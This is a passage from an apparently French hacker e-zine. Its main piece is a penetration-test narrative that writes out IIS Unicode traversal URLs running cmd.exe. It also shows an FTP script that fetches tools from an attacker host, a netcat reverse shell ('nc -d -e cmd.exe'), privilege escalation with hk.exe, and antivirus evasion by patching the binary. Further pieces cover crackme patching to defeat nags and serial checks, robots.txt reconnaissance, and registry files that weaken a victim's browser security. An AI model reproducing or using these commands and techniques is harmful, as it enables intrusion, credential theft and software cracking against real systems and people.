that it is supposed to be limited to. By default (which must cover anything between 50%-90% of the installed base), the content served by the server is located at C:\Inetpub\wwwroot. So, instead of requesting the document http://www.victim.com/index.html (that correspond physically on the server to the file C:\Inetpub\wwwroot\index.html), you request something like http://www.victim.com/../../index.html, which will request the file C:\index.html. Of course, index.html doesn't exist on C:\, but that doesn't matter, since from there you can request any file that you know the location of, based on a default install. Things that come to mind is the cmd.exe program, that you can use to issue commands on the web server as if you were sitting there and typing in a DOS box. I have to say at this point that the vulnerability doesn't work like I said, but that was a simple explanation of http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+dir+c:\+/s Notice that + replaces the [Space] character in your commands, and ?/c+ is required to pass parameters to cmd.exe. %1c%pc is the Unicode equivalent to /.. (other equivalents may work, see the Bugtraq entry about this vulnerability for more details). So now we have in our browser window a complete listing of all files present on the C: drive of the server. We can do the same thing for the D: drive, to see if it's present, and if it is, do it for the E: drive, and so on. The idea is to gather up as much information about the machine as we can get. At this point, we know enough to see what software runs on the machine, where the data is located. Notice that at this point, we could start to issue ping commands or net commands to try to map to any internal network the server may be talking to, but issuing these commands with the web browser is not really convenient. So we're going to get a real command prompt. First, I set up a FTP server (no anonymous access, of course) on my laptop and put my tools in the main FTP folder. Namely, I put nc.exe and hk.exe and a couple from the ressource kit. Then I use the FTP utility conviniently waiting where I expect it to be for me to initate a connection to my laptop and fetch my tools. Since the FTP program is interactive and that I can only issue commands via the web server, I have to make a FTP script on the server. To do this, I simply issue echo commands redirected to a text file, using the directory traversal vulnerability. http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+open+ftp.intruder.com+>>ftp.txt I check out my script with my web browser one last time to make sure there I made no mistake, and then I launch the FTP session, assuming that the firewall permits this kind of traffic. And it does. http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+ftp+-s:ftp.txt Once this is done, I will use netcat to have a command prompt on the webserver. Netcat is a very useful networking tool that you can use to communicate via any port, and spawn a shell prompt. nc -h will give you these options:
So I will launch netcat in listening mode on port 53 (also used by DNS, allowed by the firewall) on my laptop, and launch a netcat connection bound to a command prompt from the webserver to my laptop (using the brwoser once again). In my DOS box http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+nc+-d+-e+cmd.exe+my.IP.address.ADSL+53 And the hung DOS box gets: Microsoft(R) Windows NT(TM) C:\Intetpub\wwwroot\scripts>_ Voilà, I have a prompt. I use the whoami command from the NT Ressource kit, to find out with disappointment that I am only INET_IUSR/Anonymous, the anonymous Internet user account. So the web server doesn't run on the Administrator account. That means that I still can't reach the NT password file (also called the SAM database) because of the restricted access. No problem, I think, I'll just initiate another telnet connection using another port (23 Telnet, why not?) by using the hk.exe tool. This tool uses a vulnerability involving an undocumented API call (NT_Impersonate_thread or something like that) that lets a thread (a part of a process running in memory) get the token (a security attribute that defines what security level a thread can run, user space or kernel space) of a kernel thread (LSASS or equivalent). To use this tool, you simply type hk followed by any command you would want to run if you had NT AUTHORITY/SYSTEM level privileges (this is above the Administrator account privileges). So I t hk nc -d -e cmd.exe my.IP.address.ADSL 23 Bad command or file name What the?!? I make a dir command, and true enough I don't see any file
named hk.exe. Did I forget to download it before? I make another FTP download
(using the script again because interactive FTP sessions over a netcat
connection doesn't work too well), and sure enough I see the file being
downloaded from my laptop. I make a dir command again, and the file still
isn't there. So I go to C:\ and make a dir hk.exe /s, and what do you
know? Most antivirus products work by matching byte streams of known viruses and other malware to the programs and files your computer uses. If a match is found, then the file is most probably of dangerous nature, and the antivirus prevents the user from opening it. Polymorphic viruses uses a flaw in this strategy by modifying themselves every time, making it difficult to identify a reliable byte stream in the virus code that can be used to clearly identify it. Can I also use this flaw to my advantadge? Of course. Actually, that day, I have lost a lot of respect towards antivirus products seeing how easily it was to circumvent it. Using a hex editor (I don't remember which one, but ther all do pretty much the same), I opened hk.exe. What I now see is all the binary code of the executable, shown in an hexadecimal representation. On the right hand side, we see an ASCII representation of each byte of code. Since this is compiled code, it is pretty hard to modify anything in there without screwing up the program and making it useless. Especially since we don't know what bit pattern the antivirus software looks for, and that I know nothing in reverse-engineering. The only thing editable in the program is a small section where we can actually read the message displayed by hk.exe when it successfully executes (something like "Your wish is my command, master"). What the heck, let's change that and see what happens. So I replace the string with XXXX XXXX XX XX XXXXXXXX XXXXXX, and rename the file hk2.exe (which is why I don't remember the exact string, now I only care to use hk2.exe). A quick FTP download later, and I make a dir command So anyway, I open another DOS box on my machine and I initiate a new listening connection on my laptop nc -l -p 23 and I type the command hk2 nc -d -e cmd.exe my.IP.address.ADSL 23 on the active netcat on the webserver and we get: hk2 nc -d -e cmd.exe my.IP.address.ADSL 23 lsass pid & tid are: 50 - 53 Launching line was: nc -d -e cmd.exe my.IP.address.ADSL 23 XXXX XXXX XX XX XXXXXXXX XXXXXXNtImpersonateClientOfPort suceeded
C:\Intetpub\wwwroot\scripts> whoami At this point, I see no reason to keep the first netcat connection, so I kill it. I am now in complete control of the web server and I can do whatever I want on it. I start to upload the SAM database on my laptop and I start cracking it with l0phtcrack, using a dictionnary attack first, then a brute force attack to uncover the few passwords left, if any. While the passwords cracks, I continue my investigations of my newly owned machine. I issue the ipconfig command, and I see the IP addresses of the two network interface cards installed on the machine. The IP address on one of the NIC is effectively the public IP of the web server. The other one bears an internal IP address, and a few pings and net commands later, I have a complete list of the NT Domains, PDC, BDC, Servers. I could talk to the whole internal network! Using some of the usernames/passwords that I cracked, I could go in any domain and from there connect to any workstation. With net accounts, I saw some administrative accounts that I have As I hopped from one workstation to another, from server to server, I kept making dir c: and dir d: images, downloaded files in various interesting folders (marketing, HR, finance, IT, production, contracts, budget, etc), along with a couple Outlook mailboxes, which tells me that I could probably use the flaws in this software to send a custom virus to take control of a machine, but why bother? I already had access to everything: network maps, list of software approved by IT, standard configuration of a desktop, resumes from applicants, budget of last and current year of various departments, production status reports, finance reports, company acquisition plans and contracts, full employee lists, with phone number, e-mails and salaries, layoff severance documents, full calendar appointments of some management people, along with their mailboxes, which also showed up some interesting things. I will always remember this e-mail I read that the guy I hacked into received from one of his friends. In the e-mail, We were about to run out of time, since my three days were almost run
out. Let's not forget that I had to write a report after that, and that
the customer only paid for such amount of time. But there was still a
little piece of the network that I couldn't get access to. It was refusing
any connection attempt from any domain that I already had control of.
That was a separate NT domain, on its own IP class C network, with very
restricted access, probably accessed only by the board of directors if
I rely on the domain name. No password that proved useful before would
work. A port scan showed me that there was a web server on this network,
and I knew it was a NT server, and most probably running IIS 4 as well. Winvnc works a bit like nc, but instead of giving a simple command prompt, it give full access to the graphical user interface (GUI) as if you were sitting in front of the machine, the same way as PCAnywhere does. This have the side effect that a person sitting in front of the machine will see all your actions, which means that you have been spotted. In my case, I had nothing to lose, so the plan is to download Winvmc
on the machine I currently own, initiate the GUI connection from there,
and then use the browser installed on the web server to launch a similar
attack to the intranet server using the directory traversal vulnerability.
From there, I hope to be able to find some usernames and passwords that
I can use to gain access to the protected machines in the same fashion
as to what I had done so far. So I initiate the Winvnc session, and surprise,
I see right in the middle of the screen two pop-up warnings from the antivirus
software, generated from the two unsuccessful downloads of hk.exe, 2 days
ago. So I click OK to remove any visual evidence of my presence, and I
proceed to clean my presence a bit, deleting all the stuff that I won't
need anymore. I also notice some of the NT Res kit that I used in another
folder that was not mine. That made me wonder if it was the admin who
conveniently installed it there for anyone to use, of if it was the I
was about to launch IE in order to finish my attack quickly and return
to the stealthier DOS command prompt that a second surprise happens: Notepad
opens up with a message saying "who r u?". I knew I could be
spotted, and I have been spotted. The spelling of the message makes me
wonder if I am dealing with a IT Too bad that I missed that last vault, and that I have been spotted, but if I wasn't only a guy doing his job, working 9-5 because I also have a life, and under an artificial schedule, I would have cracked it, undetected. A dedicated corporate spy or malicious hacker would have done this at night, and would have been completely undetected for as long as he wants. |
Virer les nags du fNaaX's cRACKME #2 |
Voici un crackme que j'ai trouvé sur le site
de la ICITeam (Independent Cracking Institute). Une team de cracking Française.
--> www.iciteam.vze.com. Voila donc un crackme qui promet d'être intéresant car c'est toujours utile de savoir virer ces trucs (surtout ceux ou ya juste une image). On lance le prog. Premier truc : un splashe :( API LRESULT Arg00 = SendMessageA(Arg01,Arg02,Arg03,Arg04)
API Address=00405078, API Return Address=0040507E <-- call SendMessage en 405078
On regarde avant les arguments passés et on voit : :00405065 FFB5A4224000 push dword ptr [ebp+004022A4] :0040506B 6A00 push 00000000 :0040506D 6872010000 push 00000172 :00405072 FFB5A0224000 push dword ptr [ebp+004022A0] Si on les étudie plus en détail on s'apperçoit que
ya rien d'intéressant. On continue puis le prog fait un UpdateWindow,
la encore rien d'interessant. On a assez d'info sur le premier splashe. On fait run, il nous affiche
la fenêtre principale : rien a modifier dessus. On se remet en AutoStepOver
et on clique sur OK. * Possible StringData Ref from Data Obj ->"QCj#$$$" * Reference To: USER32.MessageBoxA, Ord:0000h On ne peut s'empécher de voir dans l'adresse mémoire le
"GOOD BOY :)" à l'adresse 40229C. Il suffit donc pour
ce qui est du texte de transformer le 688F224000 en 689C224000 soit l'octet
à l'offset 659. Attention c'est des valeurs décimales !! 48 base10 donne 30 en hexa. Nous on avait avant la croix rouge avec le ok : 16 donc 10 en hexa. Et comme par hazard c'est l'argument qu'on a vu tout à l'heure. On fait donc passer le push 10 (6A10) en push 30 (6A30). Dernière difficulté : le dernier nagscreen est "planqué" par le programmeur. Vous ne trouverez pas l'appel dans le dead listing mais l'appel est le même et en cherchant avec un héditeur hexa on trouve plusieurs occurences. On en teste 2-3 puis on trouve le bon. Résumé des changements : 652: 10 30
|
Hack The Planet ou How To Code A Fake Proxy For Fun But Not For Profit |
Voici une idée qui me trottait dans la tête depuis pas mal de temps : coder un faux proxy. Le principe ? Au lieu de renvoyer la vraie page il renvoie une page défacée. Par exemple si vous demandez la page yahoo.fr, il vous enverra une page du style "sirius_black 0wns yahoo.fr !!". Bien entendu le pseudo du hacker est celui que vous désirez. Pourquoi Hack The Planet ? Comment que ca marche ? C'est ok j'ai de quoi faire tourner HTP, mais je fais quoi maintenant
? Comme un exemple vaut mieux qu'un long discours voici le code de la version java : import java.net.*; //les librairies Socket... public class HTP{ // on définit la classe HTP public static void main(String [] args){ String s=new String(""); Je ne met pas la version C dans le zine (elle est dans le dossier fichiers). D'abord parce qu'elle est trop longue et plus difficile à comprendre. En fait la version C est basé sur deux programmes principaux. Il y a le serveur HTP qui recoit les requêtes et redirige les entrées sorties vers le deuxième programme qui traite les données. En fait le serveur HTP marche de la même façon que NetCat. D'ailleurs j'essayerais de faire une version Windows qui marche avec NetCat. Ca devrait pas être bien difficile. Toutefois si vous vous en sentez le courage n'hésitez pas à programmer une version WinSock où à améliorer mes versions. Je serait ravi de les mettres dans les prochains numéros de mon mag. |
Exemple d'intrusion réussie (numéro 2) |
The second victim
Pseudonym : Trust-us e-commerce inc. Type of company : e-commerce company, implements B2B and B2C solutions for businesses Time allowed to hack : 3 man/days Goal : penetrate the network as far as possible and get evidence of intrusion So my first impression of a big corporate network (from my previous work experience at a telecommunications company, see Virus protection in a Microsoft Windows network, or How to stand a chance) from the security point of view proved to be true with my successful and easy network intrusion I had done for XYZ Media Publishing Corporation. I was anxious to see how I would fare against an e-commerce company. I was curious to see if they really cared about security, given their area of expertise. So the hack started pretty much the same way as the first one: DNS lookups, whois, portscan, etc. It turns out that there's about 5 or 6 machines reachable via the Internet. 2 *nix DNS servers, 1 Exchange mail server, and a couple IIS machines. These machines are all firewalled and only allow very specific traffic : http, https, DNS, SMTP. But remember that if one of these services is vulnerable, it can be exploited and the firewall won't be effective at blocking the attack. I issue a whisker scan on the webservers to see if there's any known vulnerabilities on the web server itself, and in the cgi programs as well. The machines turns out to be pretty secure, even if they are NT boxes. The server appears to be patched up to date, and non-necessary services have been removed from IIS (such as idq requests, asp pages, default sample pages). So I can't use the directory traversal vulnerability on this one. I try to screw up with some invalid requests in the cgi programs, trying to see if I can provoke We had received some new toys a couple of weeks before, and we couldn't wait to try them in the field. We had a wireless hub and a pair of PCMCIA wireless network cards. I don't know how much this equipment costs, but it shouldn't run above 2-3 k$, probably less. Not exactly cheap, but not unnafordable to individuals. So we decided to attempt a physical intrusion in their offices and plant the wireless hub on their internal network and see what happens next. We were three persons to do this operation, but it could have been achieved by only a single person. We thought a bit about doing a masquerade and pretend that we were from the phone company or something, all along with the uniforms and even a line tester that makes bip-bip sounds that are sure to convince any non-technical person unfamiliar to this kind of equipment. We even had the floor plan, that my boss asked to the facilities management guy (those who manage building services). He gave the plans to my boss without asking any ID or whatever, my boss simply told him that he was working for Trut-us e-commerce inc, and that was it! My boss was even left alone in the facilities guy office for about half an hour, even time to give him the opportunity to take a peek or two, or steal one of the uniforms hanging by the door if he wanted to. But instead, we chose a simpler course; simply walk
in dressed casual (average employee age at Trus-ut is about 25-30) and
pretend to belong there. The company is quite new, and they are hiring
new staff, so it's quite normal for a place like this to see new faces.
So the plan was to have one person walk in the offices, avoiding the main
entrance of the offices if possible, to avoid the receptionist desk, and
put the wireless hub on the network, in a free LAN jack in the photocopier
room (as we could see from the floor plan). And to collect any valuable
data the onsite visit can provide. In the meantime, another colleague
would be sitting in a toilet stall with his laptop equipped with the wireless
network card and try to get access to the network. If he proved successful,
he would iniate a netcat connection from one of their machines to my laptop,
and then leave the premises. As for me, I will be at our offices, hooked
up on the ADSL link, and waiting for the netcat connection to come to
me. Once I And that's exactly what happened! My first colleague got in from the door beside the staircases, going inside with other people that were coming back from a cigarette break. He went to the photocopier room, and plugged the wireless hub to the network, and hid it behind some boxes. After that, he walked across in the offices, a lot of cubicles being empty, as the company had plans for growth. He said "Hi!" to a couple of persons who were having a conversation. He found an employee list on a desk, with all the phone numbers and positions in the company. He went back to the photocopier room, and made a copy. He also looked for other stuff, but it was hard to figure out what paper documents are about without looking suspicious. So after half an hour, he simply took the hub back with him and left the premises. Meanwhile, colleague #2 is in the bathroom stall with his laptop. He waits about 5 minutes to give #1 enough time to plant the bug. Then he boots up his machine and he automatically gets an IP address from the internal network DHCP server. That's a good start! It takes him no time to take control of an internal web server to launch the netcat connection to me (with full SYSTEM/NT_AUTHORITY privileges, of course). While I put my scheduled jobs on this machine to keep a point of entry, he goes on an exploration tour of the rest of the network, stops in a couple workstations to download some files, and leaves after 15 minutes, after making sure with me that everything was under control on my side (using a text file to send messages to each other). As for me, I started doing the usual stuff, downloading the server's SAM file, cracking it, exploring the contents of some workstations, visiting the servers and the PDC/BDC getting these SAMs also. I downloaded some of their website source code, looked a test systems, and the customer database, etc. I could see that there were firewalls between some of the internal network segments, but all netbios ports were allowed, since these machines were all part of the same NT domain. I accidentally killed my session, but it came back to me exactly when I expected it, so I could continue without any problem. At the end of the day, our mission was done. Again, we were three persons to implement this attack, but this could be done by a single person. We only had one day left to perform the intrusion, so we had to be efficient and well prepared. But a single well prepared person, having no other schedule than his own, could have easily walked in the offices, plant the hub on the network, go in the bathroom, schedule hk2 netcat sessions at specific times, and go home and simply wait for the connections to initiate. Then he is free to do all he wants. Voilà !!! Ca vous a plu ? Sachez que le texte ne s'arrêtent normalement pas là. Ya une conclusion et pi une espèce de truc qui sert à rien. Comment ça s'appelle déjà ? Un disclaimer ? Sinon ya des phrases qui sont coupées dans le texte mais elles étaient déjà coupées dans l'original :( |
Traduction de Come Out And Play |
Voix off : T'as intérêt à les séparer Comme la dernière mode --partie A-- --partie B-- --partie C-- Quand tu entends la sirène c'est déjà
trop tard --partie D-- B-A-C-D-A-B-C |
Crackme de jB : pas de bouton de vérification |
Dans cet exemple on va donc s'attaquer aux progs qui demande un serial
mais où ya pas de boutons du style "vérifier"
ou "ok" qui lancent la procédure de vérification.
Il est toujours utile de savoir comment les prendre car quand on en connaît
un, on sait tous les faire :) Peut être qu'au bout d'un moment je
vous aurais donné tous les exemples "types" ;) Bon dans ce tut j'utilise WinDbg qui, il faut l'avouer est carrèment bien :) Microsoft l'ami des crackers et de la gratuité ? Je sais ça donne faux :) Mais bon le fait est là : winDbg est la solution de choix pour débugger sous XP. Donc on ouvre winDbg, Choose Executable > Crakme2.exe. il nous propose
un 'save Workbase information' on dit non. On clique sur le bouton des
registres (celui avec un 0 et un x) pour faire apparaître la fenêtre
correspondante. on clique sur 'Customize' pour définir l'ordre
d'affichage des registres (pour moi : eax ebx ecx edx edi esi ebp esp
eip passent en premier). On passe sous winbg et on clique sur le 4ème bouton avec une feuille
de papier (ya des espèces de vagues à côté)
pour breaker. On entre alors 'bp GetWindowTextA' car c'est l'API qui va
lire notre serial. On relance ('g') et on clique sur la fenêtre
du crackme. BAM !! On break !!! Je vous avait prévenu qu'il tournait
en boucle :p push [ebp+0x08] Juste quand on sort du premier call, dans eax ya la longueur de notre
code : Ch (h comme hexa) soit 12d (d comme décimal). Cette valeur
est décalée de trois bits sur bits sur la gauche (l comme
left) puis xoré avec 12h. si le résultat vaut 52h alors
on a la bonne longueur. On racourci notre code ('SIRIUS_B') et on recommence. Maitenant on arrive
sur le second call. Notre code est placé sur la pile. mov eax, 402012 <-- adresse de notre code Il faut donc avoir 07114501 à la fin. |
Trouver des documents confidentiels sur un serveur |
Hehehe !! Voilà un truc que j'ai découvert ya pas si longtemps mais qui date quand même un peu. Cela dit ça devient super intéressant si l'admin du serveur n'est pas très malin :) On commence par une petite intro/défouloir. Bon, vous venez d'acheter le dernier zataz version papier et vous apprennez que ce cher Damien Bancal a une fois de plus découvert qu'il était possible d'accèder aux codes de lancements des missiles américains et ce juste en tappant une url dans un navigateur. Décidemment il est très fort ce Bancal !!! Comme c'est aussi quelqu'un d'une infinie bonté et que ces informations pourraient devenir plus que dangereuses dans des mains ennemies, il met vite au courant l'administrateur du site, qui comme par hazard n'était pas au courant (LoL : - Eh patron !!! Ya encore un lamer qu'à découvert nos faux codes de lancement à la place d'un taliban !! Qu'est-ce qu'on fait ? - Ben tu les changes connard !!!). Et puis ils sortent le champagne (Youpi !! C'est la fête du slip !!!). Attention ne manquez pas le prochain numéro avec tout sur comment Damien Bancal a réussi à déjouer les plans d'une bande de hackers-terroristes russe qui essayait de s'emparer par le biais de la steganographie des plans de la prochaine navette spaciale américaine !! Et comment il a spoofé le serveur de saddam hussein pour récupérer les démarches stratégiques de ce dernier dans un microdisque et aussi quand il a sauve James Bond d'une mort attroce !! Mais alors comment il fait ? Ben en fait voilà une des réponses
possibles. Les moteurs de recherche, appelés agents intéligents,
ou plus dans notre cas robots d'indexation recherchent sans relache toute
sorte d'information et ils les stockent en mémoire. Quand on leur
soumet une page, il la déplombe, regarde les balises META pour
connaître le sujet, les mots clés... Puis il étudient
le reste de la page et récupère les liens insérés
dans les pages. Ensuite ils visitent les pages sur lequelles pointent
ces liens et ainsi de suite... Les plaintes faites par les administrateurs ont montées en force et le W3C a fini par trancher : les différents robots doivent être capable de ne pas indexer des pages si on leur le demande. Le W3C a donc défini une norme qui s'est divisée en deux techniques mais seule la première nous intéresse vraiment. En fait il suffit à l'administrateur de mettre à la racine de son serveur un fichier robots.txt (toujours avec un 's' et toujours en minuscules) qui déclare au robot qui passerait quelles pages il a le droit de visiter, et quelles pages il lui est interdit d'enregistrer. Ce fichier peux contenir des commentaires si ils commencent par un #
(comme en script Unix). #exemple de robots.txt User-agent: Googlebot # la suite ne concerne que le moteur de Google User-agent: Scooter # nom du robot de Altavista User-agent: Gulliver # robot de Northern Light User-agent: ArchitextSpider #(Excite) Notez que l'on peut le faire en s'adressant à tous les robots
: Vous comprenez que si l'admin n'est pas malin, il n'a pas pensé qu'un pirate peut demander son fichier robots.txt et voir par exemple qu'il existe un rep admin, un rep top-secret ainsi qu'une page test.html caché aux yeux du meilleur moteur de recherche : Google. En effet Google a évolué mais son noyau, Googlebot n'a pas changé depuis la création de la startup, comme quoi il est super puissant. Qui a intérêt à ne pas voir des documents secrets
archivés par des moteurs de recherche ? Beaucoup de monde évidemment
:) Mais si vous regardez les sites militaires américains vous vous
appercevrez qu'ils en sont bondés. Certains ont même un message
aux hackers du style : Deuxième méthode : on l'inclue dans des balises méta.
La différence ? Pas de notion de sécurité. Juste
si on veux que le moteur de recherche suive toujours le même chemin
en visitant le site, il suffit de mettre dans la page les balises suivantes
: Références : www.devparadise.com, www.e-pub.cc et www.robotstxt.org |
Rendre une personne vulnérable sur Internet - Utilisation sournoise de la base de registre par OS4M4CKERS |
Cette fois OS4M4CKERS nous a concocté deux fichiers reg (base
de registre windows) mais pas les moindres car l'un permet de baisser
au maximum la sécurité du navigateur Internet Explorer (msie.reg
dans le rep "fichiers") rendant alors ce dernier vulnérable
aux dernières failles de sécurités (exécution
de code arbitraire ou téléchargement d'un logiciel puis
installation). On peut alors se débrouiller pour que la victime
lance à son insus un cheval de troie ou autre. Vous n'aurez pas à chercher beaucoup pour trouver un exploit pour
IE6, une simple recherche sur packetstorm suffira :) Pendant que l'on est dans IE et la base de registre, ça vous dirait
pas de changer le titre de la fenêtre ? Je veux parler du "Microsoft
Internet Explorer fournis par ..." ? |
Conclusion |
Voici le moment que vous attendez tous, c'est à dire comme à
chaque fin de LOTFREE, la célèbre question : Que vas t'on
faire la prochaine nuit Cortex ? Et bien la même chose que toute
les nuits Minux, tenter de conquérir le monde !!! Nan évidemment,
la question est "Est-ce que y'aura un LOTFREE#06 ?" Sinon je ne pouvais pas finir sans saluer Sword'O'NeØv3riÐe qui a accepté de mettre mon zine accessible sur son site (www.mgth.fr.st si je me trompe pas) et aussi à tous ces enculés de infoshackers.com que j'apprécie beaucoup :) A et puis au fait : FUCK THIS FUCKING MOTHERFUCKER
DISCLAMER !! FUCK THAT BULLSHIT MOTHERFUCKER HACKER !!! PS : Désolé si vous trouvez que le mag est moins drôle que d'habitude, j'ai arrêté la drogue !! LoL !! |